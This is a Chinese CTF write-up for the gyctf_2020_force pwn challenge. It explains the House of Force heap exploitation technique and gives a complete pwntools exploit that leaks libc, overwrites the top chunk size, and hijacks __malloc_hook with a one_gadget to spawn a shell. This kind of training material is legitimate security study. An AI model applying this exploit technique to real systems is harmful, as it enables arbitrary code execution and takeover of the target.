【house of force】gyctf_2020_force
1.ida分析
-
申请任意大小的堆块,存在堆溢出
2.思路
-
申请一个较大的堆块,泄露libc的地址
-
修改top chunk的地址为0xffffffffffffffff
-
计算top chunk到malloc_hook-0x33的距离(malloc_hook-0x23 是一个合法的chunk)其实这个0x30-0x37应该都可以,malloc在分配的时候会自己进行对齐
-
通过申请到malloc上方的chunk修改malloc_hook以及realloc_chunk
-
这里的注意点是onegadget 使用条件可能不满足,需要通过realloc中的push调整堆栈,是其满足$rsp-0x??=0的条件
-
再次申请chunk触发malloc realloc_hook
3.exp
from pwn import *
p = process('./gyctf_2020_force')
#p = remote('node3.buuoj.cn',27989)
context.log_level = 'debug'
#elf = ELF('./libc-2.23.so')
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,cont):
p.sendlineafter('s\n','1')
p.sendlineafter('e\n',str(size))
p.recvuntil('addr 0x')
binaddr = int(p.recv(12),16)
log.success('bin==>'+hex(binaddr))
p.sendlineafter('t\n',str(cont))
return binaddr
libc_base = add(0x200000,'aa') + 0x200ff0
log.success('libc_base==>'+hex(libc_base))
top = add(0x18,'b'*0x10+p64(0)+p64(0xffffffffffffffff)) + 0x10
log.success('top chunk==>'+hex(top))
malloc_hook = elf.sym['__malloc_hook'] + libc_base
realloc_hook = elf.sym['__libc_realloc'] + libc_base
log.success('malloc_hook==>'+hex(malloc_hook))
log.success('realloc_hook==>'+hex(realloc_hook))
one = 0x4527a + libc_base
add(malloc_hook-top-0x30,'a')
gdb.attach(p)
pause()
add(0x10,'a'*8 + p64(one) + p64(realloc_hook+0x10))
gdb.attach(p)
pause()
p.interactive()